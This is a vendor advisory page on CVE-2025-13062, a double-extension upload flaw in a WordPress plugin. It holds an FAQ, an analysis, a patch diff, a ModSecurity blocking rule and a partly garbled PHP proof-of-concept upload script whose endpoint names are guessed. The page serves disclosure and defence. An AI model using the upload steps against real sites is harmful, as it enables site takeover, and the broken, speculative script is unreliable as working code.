What is CVE-2025-13062?

CVE-2025-13062 is a high-severity vulnerability in the Supreme Modules Lite plugin for WordPress, allowing authenticated users with author-level permissions or higher to upload arbitrary files. This is due to insufficient validation of JSON file uploads, enabling attackers to bypass security measures.

How does the vulnerability work?

The vulnerability allows attackers to upload files with double extensions, such as ‘malicious.php.json’. The plugin incorrectly validates the file type, treating these files as valid JSON, which can lead to remote code execution if the uploaded PHP file is accessed.

Who is affected by this vulnerability?

All installations of the Supreme Modules Lite plugin up to and including version 2.5.62 are affected. Administrators should check their plugin version to determine if they are vulnerable.

How can I check if my site is vulnerable?

To check if your site is vulnerable, verify the version of the Supreme Modules Lite plugin installed. If it is version 2.5.62 or earlier, your site is at risk and should be updated immediately.

How can I fix this vulnerability?

The vulnerability is patched in version 2.5.63 of the Supreme Modules Lite plugin. Administrators should update the plugin to this version or later to mitigate the risk.

What does a CVSS score of 8.8 mean?

A CVSS score of 8.8 indicates a high severity vulnerability. This means that successful exploitation could lead to significant impact, including potential full compromise of the affected WordPress site.

What practical risks does this vulnerability pose?

If exploited, this vulnerability can allow attackers to upload malicious files, leading to remote code execution and complete control over the WordPress site. This can result in data theft, backdoor installations, and further network compromises.

What is the proof of concept for this vulnerability?

The proof of concept involves authenticating as an author, crafting a malicious PHP file with a double JSON extension, and uploading it via the plugin’s JSON import functionality. This demonstrates how the vulnerability can be exploited in a real-world scenario.

What measures can I take to mitigate risks if I cannot update immediately?

If immediate updates are not possible, consider disabling the Supreme Modules Lite plugin until it can be updated. Additionally, implementing web application firewalls or security rules to block double-extension uploads can provide temporary protection.

What is the role of the ModSecurity rule provided?

The ModSecurity rule is designed to block attempts to upload files with double extensions targeting the vulnerable JSON import feature. Implementing this rule can help prevent exploitation until the plugin is updated.

How does the patch address the vulnerability?

The patch modifies the file type validation logic to ensure that only files ending with the .json extension are accepted. This prevents the bypass that allowed double-extension files to be uploaded as valid JSON.

What should I do if I suspect my site has been compromised?

If you suspect exploitation, immediately remove the affected plugin, check for unauthorized files or changes, and restore your site from a clean backup. It is also advisable to conduct a security audit and change all passwords.

Atomic Edge Proof of Concept automated generator using AI diff analysis

Published : March 23, 2026

CVE-2025-13062: Supreme Modules Lite <= 2.5.62 – Authenticated (Author+) Arbitrary File Upload via JSON Upload Bypass (supreme-modules-for-divi)

CVE ID CVE-2025-13062

Plugin supreme-modules-for-divi

Severity High (CVSS 8.8)

CWE 434

Vulnerable Version 2.5.62

Patched Version 2.5.63

Disclosed January 14, 2026

Analysis Overview

“`json
{
“analysis”: “Atomic Edge analysis of CVE-2025-13062:nThe Supreme Modules Lite WordPress plugin, versions up to and including 2.5.62, contains an arbitrary file upload vulnerability. The plugin’s JSON file upload handler incorrectly validates double-extension filenames, allowing authenticated attackers with author-level or higher privileges to upload malicious files. This flaw receives a CVSS score of 8.8 (High).nnThe root cause lies in the `dsm_check_filetype_and_ext` function within the `class-dsm-json-handler.php` file. The vulnerable function (lines 22-31 in the diff) uses `strpos` to check for the substring ‘.json’ anywhere in the filename. This logic fails to validate the actual file extension. An attacker can submit a filename like ‘shell.php.json’ which contains ‘.json’ but does not end with it. The function then overrides WordPress’s default file type detection, forcing the file to be classified as a JSON file regardless of its actual content or extension.nnExploitation requires an authenticated user with at least Author-level permissions. The attacker must access the plugin’s JSON import functionality, which is enabled by default. They can then upload a file with a double extension (e.g., ‘malicious.php.json’). The plugin’s `dsm_check_filetype_and_ext` function will identify the ‘.json’ substring and assign the MIME type ‘application/json’. WordPress’s upload system accepts the file. The server stores the file with its full name, including the ‘.php’ extension, within the WordPress uploads directory. This makes the PHP file accessible via a direct HTTP request, leading to potential remote code execution.nnThe patch modifies the `dsm_check_filetype_and_ext` function in `class-dsm-json-handler.php`. The fix adds a guard clause (lines 28-30) that prevents overriding WordPress’s file type detection if it has already succeeded. The critical change replaces the `strpos` check with a `preg_match` (line 33) that validates the filename ends with the ‘.json’ extension (`’/.json$/i’`). This ensures only files with a true .json extension are processed as JSON, blocking the double-extension bypass. The patch also includes minor code formatting and constant usage improvements.nnSuccessful exploitation grants an attacker the ability to upload arbitrary files, including PHP scripts, to the target web server. This directly leads to remote code execution under the web server’s user context. An attacker can achieve complete compromise of the WordPress site, create backdoors, steal data, or use the server as a pivot point within the network. The requirement for Author-level authentication reduces the attack surface but does not eliminate the risk, as many WordPress sites have multiple authors or user accounts can be compromised.”,
poc_php”: “// Atomic Edge CVE Research – Proof of Conceptn// CVE-2025-13062 – Supreme Modules Lite <= 2.5.62 – Authenticated (Author+) Arbitrary File Upload via JSON Upload Bypassnn str_replace(‘/wp-admin/admin-ajax.php’, ‘/wp-login.php’, $target_url),n CURLOPT_POST => true,n CURLOPT_POSTFIELDS => http_build_query([n ‘log’ => $username,n ‘pwd’ => $password,n ‘wp-submit’ => ‘Log In’,n ‘redirect_to’ => ‘/wp-admin/’,n ‘testcookie’ => ‘1’n ]),n CURLOPT_RETURNTRANSFER => true,n CURLOPT_COOKIEJAR => ‘cookies.txt’,n CURLOPT_COOKIEFILE => ‘cookies.txt’,n CURLOPT_FOLLOWLOCATION => true,n CURLOPT_HEADER => truen]);n$response = curl_exec($ch);nn// 2. Craft a malicious PHP file with a double .json extensionn$php_payload = ”;n$file_name = ‘rce_shell.php.json’;nn// 3. Create a multipart form data payload simulating the plugin’s JSON uploadn$boundary = ‘—-AtomicEdgeBoundary’ . uniqid();n$body = “–$boundary\r\n”;n$body .= “Content-Disposition: form-data; name=\”action\”\r\n\r\n”;n$body .= “dsm_import_json\r\n”; // This is the presumed AJAX action for the import featuren$body .= “–$boundary\r\n”;n$body .= “Content-Disposition: form-data; name=\”dsm_json_file\”; filename=\”$file_name\”\r\n”;n$body .= “Content-Type: application/json\r\n\r\n”;n$body .= $php_payload . “\r\n”;n$body .= “–$boundary–\r\n”;nn// 4. Send the upload request to the vulnerable AJAX endpointncurl_setopt_array($ch, [n CURLOPT_URL => $target_url,n CURLOPT_POST => true,n CURLOPT_POSTFIELDS => $body,n CURLOPT_RETURNTRANSFER => true,n CURLOPT_HTTPHEADER => [n “Content-Type: multipart/form-data; boundary=$boundary”,n “X-Requested-With: XMLHttpRequest”n ],n CURLOPT_COOKIEFILE => ‘cookies.txt’n]);nn$upload_response = curl_exec($ch);n$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);nn// 5. Parse response to extract the uploaded file URLn// The plugin likely returns a JSON response with a file URL or path.n// This step is environment-dependent and may require inspecting the actual plugin response.necho “Upload HTTP Code: $http_code\n”;necho “Response: $upload_response\n”;nncurl_close($ch);nn// Note: The exact AJAX action (‘dsm_import_json’) and parameter name (‘dsm_json_file’) are inferred from typical plugin patterns.n// In a real assessment, these would be identified by reviewing the plugin’s admin JavaScript and PHP AJAX handlers.n?>”,
“modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2025-13062n# Blocks double-extension file uploads targeting the Supreme Modules Lite JSON import feature.nSecRule REQUEST_URI “@streq /wp-admin/admin-ajax.php” \n “id:1306201,phase:2,deny,status:403,chain,msg:’CVE-2025-13062 – Supreme Modules Lite Arbitrary File Upload via JSON Import’,severity:’CRITICAL’,tag:’CVE-2025-13062′,tag:’WordPress’,tag:’Plugin’,tag:’Supreme-Modules-Lite'”n SecRule ARGS_POST:action “@streq dsm_import_json” “chain”n SecRule FILES “@rx \.(php|phtml|phar|inc|asp|aspx|jsp|cfm)\.[^.]+$” \n “t:none,t:urlDecodeUni,t:lowercase,t:normalizePathWin,capture,setvar:’tx.cve_2025_13062_score=+%{tx.critical_anomaly_score}’,setvar:’tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}'””
}
“`

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/supreme-modules-for-divi/includes/class-dsm-json-handler.php
+++ b/supreme-modules-for-divi/includes/class-dsm-json-handler.php
@@ -1,44 +1,49 @@
 <?php
 // Prevent direct access to files
 if ( ! defined( 'ABSPATH' ) ) {
-	exit;
+    exit;
 }
+
 if ( ! class_exists( 'DSM_JSON_Handler' ) ) {
-	class DSM_JSON_Handler {
-		const MIME_TYPE = 'application/json';
+    class DSM_JSON_Handler {
+        const MIME_TYPE = 'application/json';

-		/**
-		* add JSON to allowed file uploads.
-		*
-		* @since 2.0.5
-		*/
-		public function dsm_mime_types( $mimes ) {
-			$mimes['json'] = 'application/json';
-			return $mimes;
-		}
-		/**
-		* add JSON to wp_check_filetype_and_ext.
-		*
-		* @since 2.0.5
-		*/
-		public function dsm_check_filetype_and_ext( $types, $file, $filename, $mimes ) {
-			if ( false !== strpos( $filename, '.json' ) ) {
-				$types['ext']  = 'json';
-				$types['type'] = self::MIME_TYPE;
-			}
-
-			return $types;
-		}
-
-		/**
-		 * DSM_JSON_Handler constructor.
-		 *
-		 * @param string $name
-		 * @param array  $args
-		 */
-		public function __construct() {
-			add_filter( 'upload_mimes', array( $this, 'dsm_mime_types' ) );
-			add_filter( 'wp_check_filetype_and_ext', array( $this, 'dsm_check_filetype_and_ext' ), 10, 4 );
-		}
-	}
-}
+        /**
+         * Add JSON to allowed file uploads.
+         *
+         * @since 2.0.5
+         */
+        public function dsm_mime_types( $mimes ) {
+            $mimes['json'] = self::MIME_TYPE;
+            return $mimes;
+        }
+
+        /**
+         * (Optional) Correct filetype for .json files if WP cannot detect it.
+         *
+         * @since 2.0.5
+         */
+        public function dsm_check_filetype_and_ext( $types, $file, $filename, $mimes ) {
+            // If WP already detected a valid type, do not override
+            if ( ! empty( $types['ext'] ) && ! empty( $types['type'] ) ) {
+                return $types;
+            }
+
+            // Only treat files that actually end with .json as JSON
+            if ( preg_match( '/.json$/i', $filename ) ) {
+                $types['ext']  = 'json';
+                $types['type'] = self::MIME_TYPE;
+            }
+
+            return $types;
+        }
+
+        /**
+         * DSM_JSON_Handler constructor.
+         */
+        public function __construct() {
+            add_filter( 'upload_mimes', array( $this, 'dsm_mime_types' ) );
+            add_filter( 'wp_check_filetype_and_ext', array( $this, 'dsm_check_filetype_and_ext' ), 10, 4 );
+        }
+    }
+}
 No newline at end of file
--- a/supreme-modules-for-divi/includes/class-dsm-supreme-modules-for-divi.php
+++ b/supreme-modules-for-divi/includes/class-dsm-supreme-modules-for-divi.php
@@ -82,7 +82,6 @@
 		$this->set_locale();
 		$this->define_admin_hooks();
 		$this->define_public_hooks();
-
 	}

 	/**
@@ -107,37 +106,36 @@
 		 * The class responsible for orchestrating the actions and filters of the
 		 * core plugin.
 		 */
-		require_once plugin_dir_path( dirname( __FILE__ ) ) . 'includes/class-dsm-supreme-modules-for-divi-loader.php';
+		require_once plugin_dir_path( __DIR__ ) . 'includes/class-dsm-supreme-modules-for-divi-loader.php';

 		/**
 		 * The class responsible for defining internationalization functionality
 		 * of the plugin.
 		 */
-		require_once plugin_dir_path( dirname( __FILE__ ) ) . 'includes/class-dsm-supreme-modules-for-divi-i18n.php';
+		require_once plugin_dir_path( __DIR__ ) . 'includes/class-dsm-supreme-modules-for-divi-i18n.php';

 		/**
 		 * The class responsible for defining all actions that occur in the admin area.
 		 */
-		require_once plugin_dir_path( dirname( __FILE__ ) ) . 'admin/class-dsm-supreme-modules-for-divi-admin.php';
+		require_once plugin_dir_path( __DIR__ ) . 'admin/class-dsm-supreme-modules-for-divi-admin.php';

 		/**
 		 * The class responsible for defining all actions that occur in the public-facing
 		 * side of the site.
 		 */
-		require_once plugin_dir_path( dirname( __FILE__ ) ) . 'public/class-dsm-supreme-modules-for-divi-public.php';
+		require_once plugin_dir_path( __DIR__ ) . 'public/class-dsm-supreme-modules-for-divi-public.php';

 		/**
 		 * The class responsible for defining all actions that occur in Divi Supreme
 		 * side of the site.
 		 */
-		require_once plugin_dir_path( dirname( __FILE__ ) ) . 'includes/class.settings-api.php';
-		require_once plugin_dir_path( dirname( __FILE__ ) ) . 'includes/class.page-settings.php';
-		require_once plugin_dir_path( dirname( __FILE__ ) ) . 'includes/class-dsm-supreme-modules-for-divi-review.php';
-		require_once plugin_dir_path( dirname( __FILE__ ) ) . 'includes/SupremeModulesLoader.php';
-		require_once plugin_dir_path( dirname( __FILE__ ) ) . 'includes/class-dsm-json-handler.php';
+		require_once plugin_dir_path( __DIR__ ) . 'includes/class.settings-api.php';
+		require_once plugin_dir_path( __DIR__ ) . 'includes/class.page-settings.php';
+		require_once plugin_dir_path( __DIR__ ) . 'includes/class-dsm-supreme-modules-for-divi-review.php';
+		require_once plugin_dir_path( __DIR__ ) . 'includes/SupremeModulesLoader.php';
+		require_once plugin_dir_path( __DIR__ ) . 'includes/class-dsm-json-handler.php';

 		$this->loader = new Dsm_Supreme_Modules_For_Divi_Loader();
-
 	}

 	/**
@@ -177,11 +175,16 @@
 		add_filter( 'admin_footer_text', array( $this, 'dsm_admin_footer_text' ) );
 		add_action( 'admin_enqueue_scripts', array( $this, 'dsm_admin_load_enqueue' ) );

-
 		// JSON Handler.
-		if ( $this->settings_api->get_option( 'dsm_allow_mime_json_upload', 'dsm_settings_misc' ) === 'on' || $this->settings_api->get_option( 'dsm_allow_mime_json_upload', 'dsm_settings_misc' ) === '' ) {
+		$allow_json_upload = $this->settings_api->get_option(
+			'dsm_allow_mime_json_upload',
+			'dsm_settings_misc'
+		);
+
+		if ( 'on' === $allow_json_upload || '' === $allow_json_upload ) {
 			new DSM_JSON_Handler();
 		}
+
 		// Plugin links
 		add_filter( 'plugin_action_links_supreme-modules-for-divi/supreme-modules-for-divi.php', array( $this, 'dsm_plugin_action_links' ), 10, 5 );
 		add_filter( 'plugin_action_links', array( $this, 'dsm_add_action_plugin' ), 10, 5 );
@@ -293,7 +296,6 @@

 		$this->loader->add_action( 'wp_enqueue_scripts', $plugin_public, 'enqueue_styles' );
 		$this->loader->add_action( 'wp_enqueue_scripts', $plugin_public, 'enqueue_scripts' );
-
 	}

 	/**
@@ -448,7 +450,7 @@
 			$screen = get_current_screen();

 			if ( is_object( $screen ) && 'dsm_header_footer' == $screen->post_type ) {
-				wp_enqueue_script( 'dsm-admin-js', plugins_url( 'admin/js/dsm-admin.js', dirname( __FILE__ ) ) );
+				wp_enqueue_script( 'dsm-admin-js', plugins_url( 'admin/js/dsm-admin.js', __DIR__ ) );
 			}
 		}
 	}
@@ -758,13 +760,19 @@
 			?>
 			<div class="notice notice-info">

-				<p><?php /* Translators: %1$s: Permalink settings URL, %2$s: Divi options URL */
-			_e( sprintf(
-        'Notice: For first time user, please re-save your <a href="%1$s" target="_blank">Permalinks</a> again to flush the rewrite rules in order to view them in Visual Builder. This will only work for the Divi Theme. Once ElegantThemes updates their Template Hook on Extra Theme, this feature will also be available. Currently, only the footer and 404 template is available to you. Please create one template and assign it to the footer or 404. If you do not see Divi Builder here, remember to <a href="%2$s" target="_blank">Enable Divi Builder On Post Types</a> in the Divi Options.',
-        esc_url( get_admin_url() . 'options-permalink.php' ),
-        esc_url( get_admin_url() . 'admin.php?page=et_divi_options#wrap-builder' )
-    ),
-    'supreme-modules-for-divi'); ?></p>
+				<p>
+				<?php
+				/* Translators: %1$s: Permalink settings URL, %2$s: Divi options URL */
+				_e(
+					sprintf(
+						'Notice: For first time user, please re-save your <a href="%1$s" target="_blank">Permalinks</a> again to flush the rewrite rules in order to view them in Visual Builder. This will only work for the Divi Theme. Once ElegantThemes updates their Template Hook on Extra Theme, this feature will also be available. Currently, only the footer and 404 template is available to you. Please create one template and assign it to the footer or 404. If you do not see Divi Builder here, remember to <a href="%2$s" target="_blank">Enable Divi Builder On Post Types</a> in the Divi Options.',
+						esc_url( get_admin_url() . 'options-permalink.php' ),
+						esc_url( get_admin_url() . 'admin.php?page=et_divi_options#wrap-builder' )
+					),
+					'supreme-modules-for-divi'
+				);
+				?>
+	</p>
 			</div>
 			<?php
 		}
@@ -821,30 +829,26 @@
 	public function output_section( $output, $render_slug, $module ) {
 		if ( 'et_pb_section' !== $render_slug ) {
 			return $output;
-		} else {
-			if ( isset( $module->props['dsm_section_schedule_visibility'] ) && $module->props['dsm_section_schedule_visibility'] === 'on' ) {
-				if ( is_array( $output ) ) {
-					return $output;
-				}
+		} elseif ( isset( $module->props['dsm_section_schedule_visibility'] ) && $module->props['dsm_section_schedule_visibility'] === 'on' ) {
+			if ( is_array( $output ) ) {
+				return $output;
+			}

 				$dsm_section_schedule_visibility     = $module->props['dsm_section_schedule_visibility'];
 				$dsm_section_schedule_show_hide      = $module->props['dsm_section_schedule_show_hide'];
 				$dsm_section_schedule_after_datetime = $module->props['dsm_section_schedule_after_datetime'];
 				$dsm_section_current_wp_date         = wp_date( 'Y-m-d H:i:s', null );

-				if ( $dsm_section_schedule_show_hide === 'start' ) {
-					if ( $dsm_section_schedule_after_datetime >= $dsm_section_current_wp_date ) {
-						return;
-					} else {
-						$output;
-					}
+			if ( $dsm_section_schedule_show_hide === 'start' ) {
+				if ( $dsm_section_schedule_after_datetime >= $dsm_section_current_wp_date ) {
+					return;
 				} else {
-					if ( $dsm_section_schedule_after_datetime <= $dsm_section_current_wp_date ) {
-						return;
-					} else {
-						$output;
-					}
+					$output;
 				}
+			} elseif ( $dsm_section_schedule_after_datetime <= $dsm_section_current_wp_date ) {
+					return;
+			} else {
+				$output;
 			}
 		}
 		return $output;
@@ -896,30 +900,26 @@
 	public function output_row( $output, $render_slug, $module ) {
 		if ( 'et_pb_row' !== $render_slug ) {
 			return $output;
-		} else {
-			if ( isset( $module->props['dsm_row_schedule_visibility'] ) && $module->props['dsm_row_schedule_visibility'] === 'on' ) {
-				if ( is_array( $output ) ) {
-					return $output;
-				}
+		} elseif ( isset( $module->props['dsm_row_schedule_visibility'] ) && $module->props['dsm_row_schedule_visibility'] === 'on' ) {
+			if ( is_array( $output ) ) {
+				return $output;
+			}

 				$dsm_row_schedule_visibility     = $module->props['dsm_row_schedule_visibility'];
 				$dsm_row_schedule_show_hide      = $module->props['dsm_row_schedule_show_hide'];
 				$dsm_row_schedule_after_datetime = $module->props['dsm_row_schedule_after_datetime'];
 				$dsm_row_current_wp_date         = wp_date( 'Y-m-d H:i:s', null );

-				if ( $dsm_row_schedule_show_hide === 'start' ) {
-					if ( $dsm_row_schedule_after_datetime >= $dsm_row_current_wp_date ) {
-						return;
-					} else {
-						$output;
-					}
+			if ( $dsm_row_schedule_show_hide === 'start' ) {
+				if ( $dsm_row_schedule_after_datetime >= $dsm_row_current_wp_date ) {
+					return;
 				} else {
-					if ( $dsm_row_schedule_after_datetime <= $dsm_row_current_wp_date ) {
-						return;
-					} else {
-						$output;
-					}
+					$output;
 				}
+			} elseif ( $dsm_row_schedule_after_datetime <= $dsm_row_current_wp_date ) {
+					return;
+			} else {
+				$output;
 			}
 		}
 		return $output;
@@ -1257,24 +1257,24 @@
 		if ( class_exists( 'Caldera_Forms' ) ) {
 			add_filter(
 				'caldera_forms_render_field_file',
-				function( $field_file, $field_type ) {
+				function ( $field_file, $field_type ) {
 					if ( 'dropdown' === $field_type ) {
-						return dirname( __FILE__ ) . '/modules/CalderaForms/includes/dropdown/field.php';
+						return __DIR__ . '/modules/CalderaForms/includes/dropdown/field.php';
 					}
 					if ( 'button' === $field_type ) {
-						return dirname( __FILE__ ) . '/modules/CalderaForms/includes/button/field.php';
+						return __DIR__ . '/modules/CalderaForms/includes/button/field.php';
 					}
 					if ( 'radio' === $field_type ) {
-						return dirname( __FILE__ ) . '/modules/CalderaForms/includes/radio/field.php';
+						return __DIR__ . '/modules/CalderaForms/includes/radio/field.php';
 					}
 					if ( 'checkbox' === $field_type ) {
-						return dirname( __FILE__ ) . '/modules/CalderaForms/includes/checkbox/field.php';
+						return __DIR__ . '/modules/CalderaForms/includes/checkbox/field.php';
 					}
 					if ( 'html' === $field_type ) {
-						return dirname( __FILE__ ) . '/modules/CalderaForms/includes/html/field.php';
+						return __DIR__ . '/modules/CalderaForms/includes/html/field.php';
 					}
 					if ( 'advanced_file' === $field_type ) {
-						return dirname( __FILE__ ) . '/modules/CalderaForms/includes/advanced_file/field.php';
+						return __DIR__ . '/modules/CalderaForms/includes/advanced_file/field.php';
 					}
 					return $field_file;
 				},
--- a/supreme-modules-for-divi/supreme-modules-for-divi.php
+++ b/supreme-modules-for-divi/supreme-modules-for-divi.php
@@ -3,7 +3,7 @@
  * Plugin Name: Supreme Modules Lite - Divi Theme, Extra Theme and Divi Builder
  * Plugin URI:  https://divisupreme.com/supreme-modules-lite-for-divi/
  * Description: Divi Supreme enhances the experience and features found on Divi and extend with custom creative modules to help you build amazing websites.
- * Version:     2.5.62
+ * Version:     2.5.63
  * Author:      Supreme Modules
  * Author URI:  https://divisupreme.com/about/
  * License:     GPL2
@@ -34,7 +34,7 @@
 }

 if ( ! defined( 'DSM_VERSION' ) ) {
-	define( 'DSM_VERSION', '2.5.62' );
+	define( 'DSM_VERSION', '2.5.63' );
 }

 if ( ! defined( 'DSM_SHORTCODE' ) ) {

Frequently Asked Questions

What is CVE-2025-13062?
Overview of the vulnerability
CVE-2025-13062 is a high-severity vulnerability in the Supreme Modules Lite plugin for WordPress, allowing authenticated users with author-level permissions or higher to upload arbitrary files. This is due to insufficient validation of JSON file uploads, enabling attackers to bypass security measures.
How does the vulnerability work?
Mechanism of exploitation
The vulnerability allows attackers to upload files with double extensions, such as ‘malicious.php.json’. The plugin incorrectly validates the file type, treating these files as valid JSON, which can lead to remote code execution if the uploaded PHP file is accessed.
Who is affected by this vulnerability?
Identifying vulnerable installations
All installations of the Supreme Modules Lite plugin up to and including version 2.5.62 are affected. Administrators should check their plugin version to determine if they are vulnerable.
How can I check if my site is vulnerable?
Steps for verification
To check if your site is vulnerable, verify the version of the Supreme Modules Lite plugin installed. If it is version 2.5.62 or earlier, your site is at risk and should be updated immediately.
How can I fix this vulnerability?
Steps for remediation
The vulnerability is patched in version 2.5.63 of the Supreme Modules Lite plugin. Administrators should update the plugin to this version or later to mitigate the risk.
What does a CVSS score of 8.8 mean?
Understanding severity ratings
A CVSS score of 8.8 indicates a high severity vulnerability. This means that successful exploitation could lead to significant impact, including potential full compromise of the affected WordPress site.
What practical risks does this vulnerability pose?
Real-world implications
If exploited, this vulnerability can allow attackers to upload malicious files, leading to remote code execution and complete control over the WordPress site. This can result in data theft, backdoor installations, and further network compromises.
What is the proof of concept for this vulnerability?
Demonstration of the exploit
The proof of concept involves authenticating as an author, crafting a malicious PHP file with a double JSON extension, and uploading it via the plugin’s JSON import functionality. This demonstrates how the vulnerability can be exploited in a real-world scenario.
What measures can I take to mitigate risks if I cannot update immediately?
Temporary protective actions
If immediate updates are not possible, consider disabling the Supreme Modules Lite plugin until it can be updated. Additionally, implementing web application firewalls or security rules to block double-extension uploads can provide temporary protection.
What is the role of the ModSecurity rule provided?
Blocking the exploit
The ModSecurity rule is designed to block attempts to upload files with double extensions targeting the vulnerable JSON import feature. Implementing this rule can help prevent exploitation until the plugin is updated.
How does the patch address the vulnerability?
Changes made in the updated version
The patch modifies the file type validation logic to ensure that only files ending with the .json extension are accepted. This prevents the bypass that allowed double-extension files to be uploaded as valid JSON.
What should I do if I suspect my site has been compromised?
Response to potential exploitation
If you suspect exploitation, immediately remove the affected plugin, check for unauthorized files or changes, and restore your site from a clean backup. It is also advisable to conduct a security audit and change all passwords.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations